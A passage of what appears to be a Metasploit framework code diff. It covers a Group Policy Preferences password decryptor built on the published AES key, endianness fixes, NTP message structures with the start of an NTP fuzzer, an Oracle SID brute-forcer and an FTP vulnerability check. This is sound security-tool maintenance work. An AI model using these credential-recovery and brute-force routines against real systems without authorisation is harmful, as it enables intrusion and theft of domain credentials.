result.merge!({ :DATASOURCE => dsn }) unless dsn.nil? || dsn.empty?
|
||||
result.merge!({ :DRIVER => driver }) unless driver.nil? || driver.empty?
|
||||
result.merge!({ :TASK => app_name }) unless app_name.nil? || app_name.empty?
|
||||
result.merge!({ :SERVICE => service }) unless service.nil? || service.empty?
|
||||
|
||||
attributes = []
|
||||
node.elements.each('//Attributes//Attribute') do |dsn_attribute|
|
||||
attributes << {
|
||||
:A_NAME => dsn_attribute.attributes['name'],
|
||||
:A_VALUE => dsn_attribute.attributes['value']
|
||||
}
|
||||
end
|
||||
|
||||
result.merge!({ :ATTRIBUTES => attributes }) unless attributes.empty?
|
||||
|
||||
results << result
|
||||
end
|
||||
|
||||
results
|
||||
end
|
||||
|
||||
def self.create_tables(results, filetype, domain=nil, dc=nil)
|
||||
tables = []
|
||||
results.each do |result|
|
||||
table = Rex::Ui::Text::Table.new(
|
||||
'Header' => 'Group Policy Credential Info',
|
||||
'Indent' => 1,
|
||||
'SortIndex' => -1,
|
||||
'Columns' =>
|
||||
[
|
||||
'Name',
|
||||
'Value',
|
||||
]
|
||||
)
|
||||
|
||||
table << ["TYPE", filetype]
|
||||
table << ["USERNAME", result[:USER]]
|
||||
table << ["PASSWORD", result[:PASS]]
|
||||
table << ["DOMAIN CONTROLLER", dc] unless dc.nil? || dc.empty?
|
||||
table << ["DOMAIN", domain] unless domain.nil? || domain.empty?
|
||||
table << ["CHANGED", result[:CHANGED]]
|
||||
table << ["EXPIRES", result[:EXPIRES]] unless result[:EXPIRES].nil? || result[:EXPIRES].empty?
|
||||
table << ["NEVER_EXPIRES?", result[:NEVER_EXPIRES]] unless result[:NEVER_EXPIRES].nil?
|
||||
table << ["DISABLED", result[:DISABLED]] unless result[:DISABLED].nil?
|
||||
table << ["PATH", result[:PATH]] unless result[:PATH].nil? || result[:PATH].empty?
|
||||
table << ["DATASOURCE", result[:DSN]] unless result[:DSN].nil? || result[:DSN].empty?
|
||||
table << ["DRIVER", result[:DRIVER]] unless result[:DRIVER].nil? || result[:DRIVER].empty?
|
||||
table << ["TASK", result[:TASK]] unless result[:TASK].nil? || result[:TASK].empty?
|
||||
table << ["SERVICE", result[:SERVICE]] unless result[:SERVICE].nil? || result[:SERVICE].empty?
|
||||
|
||||
unless result[:ATTRIBUTES].nil? || result[:ATTRIBUTES].empty?
|
||||
result[:ATTRIBUTES].each do |dsn_attribute|
|
||||
table << ["ATTRIBUTE", "#{dsn_attribute[:A_NAME]} - #{dsn_attribute[:A_VALUE]}"]
|
||||
end
|
||||
end
|
||||
|
||||
tables << table
|
||||
end
|
||||
|
||||
tables
|
||||
end
|
||||
|
||||
# Decrypts passwords using Microsoft's published key:
|
||||
# http://msdn.microsoft.com/en-us/library/cc422924.aspx
|
||||
def self.decrypt(encrypted_data)
|
||||
unless encrypted_data
|
||||
return ""
|
||||
end
|
||||
|
||||
password = ""
|
||||
padding = "=" * (4 - (encrypted_data.length % 4))
|
||||
epassword = "#{encrypted_data}#{padding}"
|
||||
decoded = Rex::Text.decode_base64(epassword)
|
||||
|
||||
key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
|
||||
aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
|
||||
begin
|
||||
aes.decrypt
|
||||
aes.key = key
|
||||
plaintext = aes.update(decoded)
|
||||
plaintext << aes.final
|
||||
password = plaintext.unpack('v*').pack('C*') # UNICODE conversion
|
||||
rescue OpenSSL::Cipher::CipherError => e
|
||||
puts "Unable to decode: \"#{encrypted_data}\" Exception: #{e}"
|
||||
end
|
||||
|
||||
password
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -120,7 +120,7 @@ class DLL
|
|||
raise "#{function.params.length} arguments expected. #{args.length} arguments provided." unless args.length == function.params.length
|
||||
|
||||
if( client.platform =~ /x64/i )
|
||||
native = 'Q'
|
||||
native = 'Q<'
|
||||
else
|
||||
native = 'V'
|
||||
end
|
||||
|
@ -153,12 +153,12 @@ class DLL
|
|||
buffer_size = args[param_idx]
|
||||
if param_desc[0] == "PDWORD"
|
||||
# bump up the size for an x64 pointer
|
||||
if( native == 'Q' and buffer_size == 4 )
|
||||
if( native == 'Q<' and buffer_size == 4 )
|
||||
args[param_idx] = 8
|
||||
buffer_size = args[param_idx]
|
||||
end
|
||||
|
||||
if( native == 'Q' )
|
||||
if( native == 'Q<' )
|
||||
raise "Please pass 8 for 'out' PDWORDS, since they require a buffer of size 8" unless buffer_size == 8
|
||||
elsif( native == 'V' )
|
||||
raise "Please pass 4 for 'out' PDWORDS, since they require a buffer of size 4" unless buffer_size == 4
|
||||
|
@ -288,7 +288,7 @@ class DLL
|
|||
#process return value
|
||||
case function.return_type
|
||||
when "LPVOID", "HANDLE"
|
||||
if( native == 'Q' )
|
||||
if( native == 'Q<' )
|
||||
return_hash["return"] = rec_return_value
|
||||
else
|
||||
return_hash["return"] = rec_return_value % 4294967296
|
||||
|
@ -318,7 +318,7 @@ class DLL
|
|||
buffer = rec_out_only_buffers[buffer_item.addr, buffer_item.length_in_bytes]
|
||||
case buffer_item.datatype
|
||||
when "PDWORD"
|
||||
return_hash[param_name] = buffer.unpack('V')[0]
|
||||
return_hash[param_name] = buffer.unpack(native)[0]
|
||||
when "PCHAR"
|
||||
return_hash[param_name] = asciiz_to_str(buffer)
|
||||
when "PWCHAR"
|
||||
|
@ -338,7 +338,7 @@ class DLL
|
|||
buffer = rec_inout_buffers[buffer_item.addr, buffer_item.length_in_bytes]
|
||||
case buffer_item.datatype
|
||||
when "PDWORD"
|
||||
return_hash[param_name] = buffer.unpack('V')[0]
|
||||
return_hash[param_name] = buffer.unpack(native)[0]
|
||||
when "PCHAR"
|
||||
return_hash[param_name] = asciiz_to_str(buffer)
|
||||
when "PWCHAR"
|
||||
|
|
|
@ -50,7 +50,7 @@ class MultiCaller
|
|||
@win_consts = win_consts
|
||||
|
||||
if( @client.platform =~ /x64/i )
|
||||
@native = 'Q'
|
||||
@native = 'Q<'
|
||||
else
|
||||
@native = 'V'
|
||||
end
|
||||
|
@ -102,12 +102,12 @@ class MultiCaller
|
|||
raise "error in param #{param_desc[1]}: Out-only buffers must be described by a number indicating their size in bytes " unless args[param_idx].class == Fixnum
|
||||
buffer_size = args[param_idx]
|
||||
# bump up the size for an x64 pointer
|
||||
if( @native == 'Q' and buffer_size == 4 )
|
||||
if( @native == 'Q<' and buffer_size == 4 )
|
||||
args[param_idx] = 8
|
||||
buffer_size = args[param_idx]
|
||||
end
|
||||
|
||||
if( @native == 'Q' )
|
||||
if( @native == 'Q<' )
|
||||
raise "Please pass 8 for 'out' PDWORDS, since they require a buffer of size 8" unless buffer_size == 8
|
||||
elsif( @native == 'V' )
|
||||
raise "Please pass 4 for 'out' PDWORDS, since they require a buffer of size 4" unless buffer_size == 4
|
||||
|
@ -242,7 +242,7 @@ class MultiCaller
|
|||
#process return value
|
||||
case function.return_type
|
||||
when "LPVOID", "HANDLE"
|
||||
if( @native == 'Q' )
|
||||
if( @native == 'Q<' )
|
||||
return_hash["return"] = rec_return_value
|
||||
else
|
||||
return_hash["return"] = rec_return_value % 4294967296
|
||||
|
|
|
@ -27,8 +27,8 @@ module PointerUtil
|
|||
|
||||
case platform
|
||||
when PlatformUtil::X86_64
|
||||
# XXX: Only works if attacker and victim are like-endianed
|
||||
[pointer].pack('Q')
|
||||
# Assume little endian
|
||||
[pointer].pack('Q<')
|
||||
when PlatformUtil::X86_32
|
||||
[pointer].pack('V')
|
||||
else
|
||||
|
@ -40,8 +40,8 @@ module PointerUtil
|
|||
def self.unpack_pointer(packed_pointer, platform)
|
||||
case platform
|
||||
when PlatformUtil::X86_64
|
||||
# XXX: Only works if attacker and victim are like-endianed
|
||||
packed_pointer.unpack('Q').first
|
||||
# Assume little endian
|
||||
packed_pointer.unpack('Q<').first
|
||||
when PlatformUtil::X86_32
|
||||
packed_pointer.unpack('V').first
|
||||
else
|
||||
|
|
|
@ -324,8 +324,8 @@ class Util
|
|||
#
|
||||
def unpack_pointer(packed_pointer)
|
||||
if is_64bit
|
||||
# XXX: Only works if attacker and victim are like-endianed
|
||||
packed_pointer.unpack('Q')[0]
|
||||
# Assume little endian
|
||||
packed_pointer.unpack('Q<')[0]
|
||||
else
|
||||
packed_pointer.unpack('V')[0]
|
||||
end
|
||||
|
@ -452,9 +452,9 @@ class Util
|
|||
# Both on x86 and x64, DWORD is 32 bits
|
||||
return raw.unpack('V').first
|
||||
when :BOOL
|
||||
return raw.unpack('l').first == 1
|
||||
return raw.unpack('V').first == 1
|
||||
when :LONG
|
||||
return raw.unpack('l').first
|
||||
return raw.unpack('V').first
|
||||
end
|
||||
|
||||
#If nothing worked thus far, return it raw
|
||||
|
|
|
@ -251,7 +251,7 @@ class Tlv
|
|||
elsif (self.type & TLV_META_TYPE_UINT == TLV_META_TYPE_UINT)
|
||||
raw = [value].pack("N")
|
||||
elsif (self.type & TLV_META_TYPE_QWORD == TLV_META_TYPE_QWORD)
|
||||
raw = [ self.htonq( value.to_i ) ].pack("Q")
|
||||
raw = [ self.htonq( value.to_i ) ].pack("Q<")
|
||||
elsif (self.type & TLV_META_TYPE_BOOL == TLV_META_TYPE_BOOL)
|
||||
if (value == true)
|
||||
raw = [1].pack("c")
|
||||
|
@ -312,7 +312,7 @@ class Tlv
|
|||
elsif (self.type & TLV_META_TYPE_UINT == TLV_META_TYPE_UINT)
|
||||
self.value = raw.unpack("NNN")[2]
|
||||
elsif (self.type & TLV_META_TYPE_QWORD == TLV_META_TYPE_QWORD)
|
||||
self.value = raw.unpack("NNQ")[2]
|
||||
self.value = raw.unpack("NNQ<")[2]
|
||||
self.value = self.ntohq( self.value )
|
||||
elsif (self.type & TLV_META_TYPE_BOOL == TLV_META_TYPE_BOOL)
|
||||
self.value = raw.unpack("NNc")[2]
|
||||
|
@ -335,7 +335,7 @@ class Tlv
|
|||
if( [1].pack( 's' ) == [1].pack( 'n' ) )
|
||||
return value
|
||||
end
|
||||
return [ value ].pack( 'Q' ).reverse.unpack( 'Q' ).first
|
||||
return [ value ].pack( 'Q<' ).reverse.unpack( 'Q<' ).first
|
||||
end
|
||||
|
||||
def ntohq( value )
|
||||
|
|
|
@ -106,6 +106,8 @@ class Console
|
|||
log_error("Operation timed out.")
|
||||
rescue RequestError => info
|
||||
log_error(info.to_s)
|
||||
rescue Rex::AddressInUse => e
|
||||
log_error(e.message)
|
||||
rescue ::Errno::EPIPE, ::OpenSSL::SSL::SSLError, ::IOError
|
||||
self.client.kill
|
||||
rescue ::Exception => e
|
||||
|
|
|
@ -34,7 +34,7 @@ class NDR
|
|||
# byte element_1;
|
||||
def self.byte(string)
|
||||
warn 'should be using Rex::Encoder::NDR'
|
||||
return [string].pack('c')
|
||||
return [string].pack('C')
|
||||
end
|
||||
|
||||
# Encode a byte array
|
||||
|
|
|
@ -19,7 +19,7 @@ module NATPMP
|
|||
# Parse a NAT-PMP external address response +resp+.
|
||||
# Returns the decoded parts of the response as an array.
|
||||
def self.parse_external_address_response(resp)
|
||||
(ver, op, result, epoch, addr) = resp.unpack("CCSLN")
|
||||
(ver, op, result, epoch, addr) = resp.unpack("CCvVN")
|
||||
[ ver, op, result, epoch, Rex::Socket::addr_itoa(addr) ]
|
||||
end
|
||||
|
||||
|
@ -31,13 +31,13 @@ module NATPMP
|
|||
lport,
|
||||
rport,
|
||||
lifetime
|
||||
].pack("ccnnnN")
|
||||
].pack("CCnnnN")
|
||||
end
|
||||
|
||||
# Parse a NAT-PMP mapping response +resp+.
|
||||
# Returns the decoded parts as an array.
|
||||
def self.parse_map_port_response(resp)
|
||||
resp.unpack("CCSLnnN")
|
||||
resp.unpack("CCvVnnN")
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,3 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/proto/ntp/constants'
|
||||
require 'rex/proto/ntp/modes'
|
|
@ -0,0 +1,12 @@
|
|||
# -*- coding: binary -*-
|
||||
module Rex
|
||||
module Proto
|
||||
module NTP
|
||||
VERSIONS = (0..7).to_a
|
||||
MODES = (0..7).to_a
|
||||
MODE_6_OPERATIONS = (0..31).to_a
|
||||
MODE_7_IMPLEMENTATIONS = (0..255).to_a
|
||||
MODE_7_REQUEST_CODES = (0..255).to_a
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,130 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'bit-struct'
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module NTP
|
||||
|
||||
# A very generic NTP message
|
||||
#
|
||||
# Uses the common/similar parts from versions 1-4 and considers everything
|
||||
# after to be just one big field. For the particulars on the different versions,
|
||||
# see:
|
||||
# http://tools.ietf.org/html/rfc958#appendix-B
|
||||
# http://tools.ietf.org/html/rfc1059#appendix-B
|
||||
# pages 45/48 of http://tools.ietf.org/pdf/rfc1119.pdf
|
||||
# http://tools.ietf.org/html/rfc1305#appendix-D
|
||||
# http://tools.ietf.org/html/rfc5905#page-19
|
||||
class NTPGeneric < BitStruct
|
||||
# 0 1 2 3
|
||||
# 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
|
||||
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
||||
# |LI | VN | mode| Stratum | Poll | Precision |
|
||||
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
||||
unsigned :li, 2, default: 0
|
||||
unsigned :version, 3, default: 0
|
||||
unsigned :mode, 3, default: 0
|
||||
unsigned :stratum, 8, default: 0
|
||||
unsigned :poll, 8, default: 0
|
||||
unsigned :precision, 8, default: 0
|
||||
rest :payload
|
||||
end
|
||||
|
||||
# An NTP control message. Control messages are only specified for NTP
|
||||
# versions 2-4, but this is a fuzzer so why not try them all...
|
||||
class NTPControl < BitStruct
|
||||
# 0 1 2 3
|
||||
# 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
|
||||
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
||||
# |00 | VN | 6 |R E M| op | Sequence |
|
||||
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
||||
# | status | association id |
|
||||
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
||||
# | offset | count |
|
||||
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
||||
unsigned :reserved, 2, default: 0
|
||||
unsigned :version, 3, default: 0
|
||||
unsigned :mode, 3, default: 6
|
||||
unsigned :response, 1, default: 0
|
||||
unsigned :error, 1, default: 0
|
||||
unsigned :more, 1, default: 0
|
||||
unsigned :operation, 5, default: 0
|
||||
unsigned :sequence, 16, default: 0
|
||||
unsigned :status, 16, default: 0
|
||||
unsigned :association_id, 16, default: 0
|
||||
# TODO: there *must* be bugs in the handling of these next two fields!
|
||||
unsigned :payload_offset, 16, default: 0
|
||||
unsigned :payload_size, 16, default: 0
|
||||
rest :payload
|
||||
end
|
||||
|
||||
# An NTP "private" message. Private messages are only specified for NTP
|
||||
# versions 2-4, but this is a fuzzer so why not try them all...
|
||||
class NTPPrivate < BitStruct
|
||||
# 0 1 2 3
|
||||
# 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
|
||||
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
||||
# |R M| VN | 7 |A| Sequence | Implementation| Req code |
|
||||
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
||||
# | err | Number of data items | MBZ | Size of data item |
|
||||
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
||||
unsigned :response, 1, default: 0
|
||||
unsigned :more, 1, default: 0
|
||||
unsigned :version, 3, default: 0
|
||||
unsigned :mode, 3, default: 7
|
||||
unsigned :auth, 1, default: 0
|
||||
unsigned :sequence, 7, default: 0
|
||||
unsigned :implementation, 8, default: 0
|
||||
unsigned :request_code, 8, default: 0
|
||||
unsigned :error, 4, default: 0
|
||||
unsigned :record_count, 12, default: 0
|
||||
unsigned :mbz, 4, default: 0
|
||||
unsigned :record_size, 12, default: 0
|
||||
rest :payload
|
||||
|
||||
def records
|
||||
records = []
|
||||
1.upto(record_count) do |record_num|
|
||||
records << payload[record_size*(record_num-1), record_size]
|
||||
end
|
||||
records
|
||||
end
|
||||
end
|
||||
|
||||
def self.ntp_control(version, operation, payload = nil)
|
||||
n = NTPControl.new
|
||||
n.version = version
|
||||
n.operation = operation
|
||||
if payload
|
||||
n.payload_offset = 0
|
||||
n.payload_size = payload.size
|
||||
n.payload = payload
|
||||
end
|
||||
n.to_s
|
||||
end
|
||||
|
||||
def self.ntp_private(version, implementation, request_code, payload = nil)
|
||||
n = NTPPrivate.new
|
||||
n.version = version
|
||||
n.implementation = implementation
|
||||
n.request_code = request_code
|
||||
n.payload = payload if payload
|
||||
n.to_s
|
||||
end
|
||||
|
||||
def self.ntp_generic(version, mode)
|
||||
n = NTPGeneric.new
|
||||
n.version = version
|
||||
n.mode = mode
|
||||
n.to_s
|
||||
end
|
||||
|
||||
# Parses the given message and provides a description about the NTP message inside
|
||||
def self.describe(message)
|
||||
ntp = NTPGeneric.new(message)
|
||||
"#{message.size}-byte version #{ntp.version} mode #{ntp.mode} reply"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -41,7 +41,7 @@ class LFHashRecord
|
|||
attr_accessor :nodekey_offset, :nodekey_name_verification
|
||||
|
||||
def initialize(hive_blob, offset)
|
||||
@nodekey_offset = hive_blob[offset, 4].unpack('l').first
|
||||
@nodekey_offset = hive_blob[offset, 4].unpack('V').first
|
||||
@nodekey_name_verification = hive_blob[offset+0x04, 4].to_s
|
||||
end
|
||||
|
||||
|
|
|
@ -23,16 +23,16 @@ class NodeKey
|
|||
return
|
||||
end
|
||||
|
||||
@timestamp = hive[offset+0x04, 8].unpack('q').first
|
||||
@parent_offset = hive[offset+0x10, 4].unpack('l').first
|
||||
@subkeys_count = hive[offset+0x14, 4].unpack('l').first
|
||||
@lf_record_offset = hive[offset+0x1c, 4].unpack('l').first
|
||||
@value_count = hive[offset+0x24, 4].unpack('l').first
|
||||
@value_list_offset = hive[offset+0x28, 4].unpack('l').first
|
||||
@security_key_offset = hive[offset+0x2c, 4].unpack('l').first
|
||||
@class_name_offset = hive[offset+0x30, 4].unpack('l').first
|
||||
@name_length = hive[offset+0x48, 2].unpack('c').first
|
||||
@class_name_length = hive[offset+0x4a, 2].unpack('c').first
|
||||
@timestamp = hive[offset+0x04, 8].unpack('Q').first
|
||||
@parent_offset = hive[offset+0x10, 4].unpack('V').first
|
||||
@subkeys_count = hive[offset+0x14, 4].unpack('V').first
|
||||
@lf_record_offset = hive[offset+0x1c, 4].unpack('V').first
|
||||
@value_count = hive[offset+0x24, 4].unpack('V').first
|
||||
@value_list_offset = hive[offset+0x28, 4].unpack('V').first
|
||||
@security_key_offset = hive[offset+0x2c, 4].unpack('V').first
|
||||
@class_name_offset = hive[offset+0x30, 4].unpack('V').first
|
||||
@name_length = hive[offset+0x48, 2].unpack('C').first
|
||||
@class_name_length = hive[offset+0x4a, 2].unpack('C').first
|
||||
@name = hive[offset+0x4c, @name_length].to_s
|
||||
|
||||
windows_time = @timestamp
|
||||
|
|
|
@ -17,10 +17,10 @@ class ValueKey
|
|||
return
|
||||
end
|
||||
|
||||
@name_length = hive[offset+0x02, 2].unpack('c').first
|
||||
@length_of_data = hive[offset+0x04, 4].unpack('l').first
|
||||
@data_offset = hive[offset+ 0x08, 4].unpack('l').first
|
||||
@value_type = hive[offset+0x0C, 4].unpack('c').first
|
||||
@name_length = hive[offset+0x02, 2].unpack('C').first
|
||||
@length_of_data = hive[offset+0x04, 4].unpack('V').first
|
||||
@data_offset = hive[offset+ 0x08, 4].unpack('V').first
|
||||
@value_type = hive[offset+0x0C, 4].unpack('C').first
|
||||
|
||||
if @value_type == 1
|
||||
@readable_value_type = "Unicode character string"
|
||||
|
@ -34,7 +34,7 @@ class ValueKey
|
|||
@readable_value_type = "Multiple unicode strings separated with '\\x00'"
|
||||
end
|
||||
|
||||
flag = hive[offset+0x10, 2].unpack('c').first
|
||||
flag = hive[offset+0x10, 2].unpack('C').first
|
||||
|
||||
if flag == 0
|
||||
@name = "Default"
|
||||
|
|
|
@ -18,7 +18,7 @@ class ValueList
|
|||
valuekey_offset = hive[offset + inner_offset, 4]
|
||||
next if !valuekey_offset
|
||||
|
||||
valuekey_offset = valuekey_offset.unpack('l').first
|
||||
valuekey_offset = valuekey_offset.unpack('V').first
|
||||
@values << ValueKey.new(hive, valuekey_offset + 0x1000)
|
||||
inner_offset = inner_offset + 4
|
||||
end
|
||||
|
|
|
@ -75,6 +75,7 @@ module Rex::Socket::Ip
|
|||
Rex::Compat.is_macosx
|
||||
)
|
||||
gram=gram.dup
|
||||
# Note that these are *intentionally* host order for BSD support
|
||||
gram[2,2]=gram[2,2].unpack("n").pack("s")
|
||||
gram[6,2]=gram[6,2].unpack("n").pack("s")
|
||||
end
|
||||
|
|
|
@ -159,7 +159,7 @@ class SSHKey
|
|||
|
||||
SSH_CONVERSION[type].each do |method|
|
||||
byte_array = to_byte_array(key_object.public_key.send(method).to_i)
|
||||
out += encode_unsigned_int_32(byte_array.length).pack("c*")
|
||||
out += encode_unsigned_int_32(byte_array.length).pack("C*")
|
||||
out += byte_array.pack("C*")
|
||||
end
|
||||
|
||||
|
|
|
@ -36,7 +36,7 @@ class WindowsConsoleColorSupport
|
|||
def setcolor(color)
|
||||
csbi = 0.chr * 24
|
||||
@GetConsoleScreenBufferInfo.Call(@hConsoleHandle,csbi)
|
||||
wAttr = csbi[8,2].unpack('S').first
|
||||
wAttr = csbi[8,2].unpack('v').first
|
||||
|
||||
case color
|
||||
when 0 # reset
|
||||
|
|
|
@ -50,21 +50,21 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
print_status("Attempting to create directory: MKD #{test}")
|
||||
sock.put("MKD #{test}\r\n")
|
||||
res = sock.get(-1,5)
|
||||
res = sock.get_once(-1,5)
|
||||
|
||||
if (res =~/257 MKD command successful\./)
|
||||
print_status("\tDirectory #{test} reportedly created. Verifying with SIZE #{test}")
|
||||
sock.put("SIZE #{test}\r\n")
|
||||
res = sock.get(-1,5)
|
||||
res = sock.get_once(-1,5)
|
||||
if (res =~ /550 Not a regular file/)
|
||||
print_status("\tServer reports \"not a regular file\". Directory verified.")
|
||||
print_status("\tAttempting to delete directory: RMD #{test}")
|
||||
sock.put("RMD #{test}\r\n")
|
||||
res = sock.get(-1,5)
|
||||
res = sock.get_once(-1,5)
|
||||
if (res =~ /250 RMD command successful\./)
|
||||
print_status("\tDirectory #{test} reportedly deleted. Verifying with SIZE #{test}")
|
||||
sock.put("SIZE #{test}\r\n")
|
||||
res = sock.get(-1,5)
|
||||
res = sock.get_once(-1,5)
|
||||
print_status("\tDirectory #{test} no longer exists!")
|
||||
print_status("Target is confirmed as vulnerable!")
|
||||
end
|
||||
|
|
|
@ -116,7 +116,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
begin
|
||||
connect
|
||||
sock.put(Rex::Text.rand_text(5))
|
||||
res = sock.get_once
|
||||
res = sock.get_once(-1, 10)
|
||||
disconnect
|
||||
rescue Rex::ConnectionError => e
|
||||
print_error("Connection failed: #{e.class}: #{e}")
|
||||
|
@ -147,7 +147,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
connect
|
||||
sock.put(pkt)
|
||||
res = sock.get
|
||||
res = sock.get_once(-1, 10)
|
||||
|
||||
disconnect
|
||||
|
||||
|
|
|
@ -41,12 +41,14 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
print_status("Starting brute force on #{rhost}, using sids from #{list}...")
|
||||
|
||||
fd = File.open(list, 'rb').each do |sid|
|
||||
fd = ::File.open(list, 'rb').each do |sid|
|
||||
login = "(DESCRIPTION=(CONNECT_DATA=(SID=#{sid})(CID=(PROGRAM=)(HOST=MSF)(USER=)))(ADDRESS=(PROTOCOL=tcp)(HOST=#{rhost})(PORT=#{rport})))"
|
||||
pkt = tns_packet(login)
|
||||
|
||||
begin
|
||||
connect
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue => e
|
||||
print_error(e.to_s)
|
||||
disconnect
|
||||
|
@ -55,12 +57,10 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
sock.put(pkt)
|
||||
select(nil,nil,nil,s.to_i)
|
||||
res = sock.get_once(-1,3)
|
||||
res = sock.get_once
|
||||
disconnect
|
||||
|
||||
if ( res and res =~ /ERROR_STACK/ )
|
||||
''
|
||||
else
|
||||
if res and res.to_s !~ /ERROR_STACK/
|
||||
report_note(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
|
@ -70,6 +70,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
)
|
||||
print_good("#{rhost}:#{rport} Found SID '#{sid.strip}'")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
print_status("Done with brute force...")
|
||||
|
|
|
@ -64,7 +64,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
|
||||
def get_pkt
|
||||
buf = sock.get
|
||||
buf = sock.get_once(-1, 10)
|
||||
vprint_status("[in ] #{buf.inspect}")
|
||||
buf
|
||||
end
|
||||
|
|
|
@ -0,0 +1,215 @@
|
|||
# encoding: UTF-8
|
||||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/proto/ntp'
|
||||
require 'securerandom'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Fuzzer
|
||||
include Msf::Exploit::Remote::Udp
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'NTP Protocol Fuzzer',
|
||||
'Description' => %q(
|
||||
A simplistic fuzzer for the Network Time Protocol that sends the
|
||||
following probes to understand NTP and look for anomalous NTP behavior:
|
||||
|
||||
* All possible combinations of NTP versions and modes, even if not
|
||||
allowed or specified in the RFCs
|
||||
* Short versions of the above
|
||||
* Short, invalid datagrams
|
||||
* Full-size, random datagrams
|
||||
* All possible NTP control messages
|
||||
* All possible NTP private messages
|
||||
|
||||
This findings of this fuzzer are not necessarily indicative of bugs,
|
||||
let alone vulnerabilities, rather they point out interesting things
|
||||
that might deserve more attention. Furthermore, this module is not
|
||||
particularly intelligent and there are many more areas of NTP that
|
||||
could be explored, including:
|
||||
|
||||
* Warn if the response is 100% identical to the request
|
||||
* Warn if the "mode" (if applicable) doesn't align with what we expect,
|
||||
* Filter out the 12-byte mode 6 unsupported opcode errors.
|
||||
* Fuzz the control message payload offset/size/etc. There be bugs
|
||||
),
|
||||
'Author' => 'Jon Hart <jon_hart[at]rapid7.com>',
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(123),
|
||||
OptInt.new('SLEEP', [true, 'Sleep for this many ms between requests', 0]),
|
||||
OptInt.new('WAIT', [true, 'Wait this many ms for responses', 250])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('VERSIONS', [false, 'Specific versions to fuzz (csv)', '2,3,4']),
|
||||
OptString.new('MODES', [false, 'Modes to fuzz (csv)', nil]),
|
||||
OptString.new('MODE_6_OPERATIONS', [false, 'Mode 6 operations to fuzz (csv)', nil]),
|
||||
OptString.new('MODE_7_IMPLEMENTATIONS', [false, 'Mode 7 implementations to fuzz (csv)', nil]),
|
||||
OptString.new('MODE_7_REQUEST_CODES', [false, 'Mode 7 request codes to fuzz (csv)', nil])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def sleep_time
|
||||
datastore['SLEEP'] / 1000.0
|
||||
end
|
||||
|
||||
def check_and_set(setting)
|
||||
thing = setting.upcase
|
||||
const_name = thing.to_sym
|
||||
var_name = thing.downcase
|
||||
if datastore.key?(thing)
|
||||
instance_variable_set("@#{var_name}", datastore[thing].split(/[^\d]/).select { |v| !v.empty? }.map { |v| v.to_i })
|
||||
unsupported_things = instance_variable_get("@#{var_name}") - Rex::Proto::NTP.const_get(const_name)
|
||||
fail "Unsupported #{thing}: #{unsupported_things}" unless unsupported_things.empty?
|
||||
else
|
||||
instance_variable_set("@#{var_name}", Rex::Proto::NTP.const_get(const_name))
|
||||
end
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
# check and set the optional advanced options
|
||||
check_and_set('VERSIONS')
|
||||
check_and_set('MODES')
|
||||
check_and_set('MODE_6_OPERATIONS')
|
||||
check_and_set('MODE_7_IMPLEMENTATIONS')
|
||||
check_and_set('MODE_7_REQUEST_CODES')
|
||||
|
||||
connect_udp
|
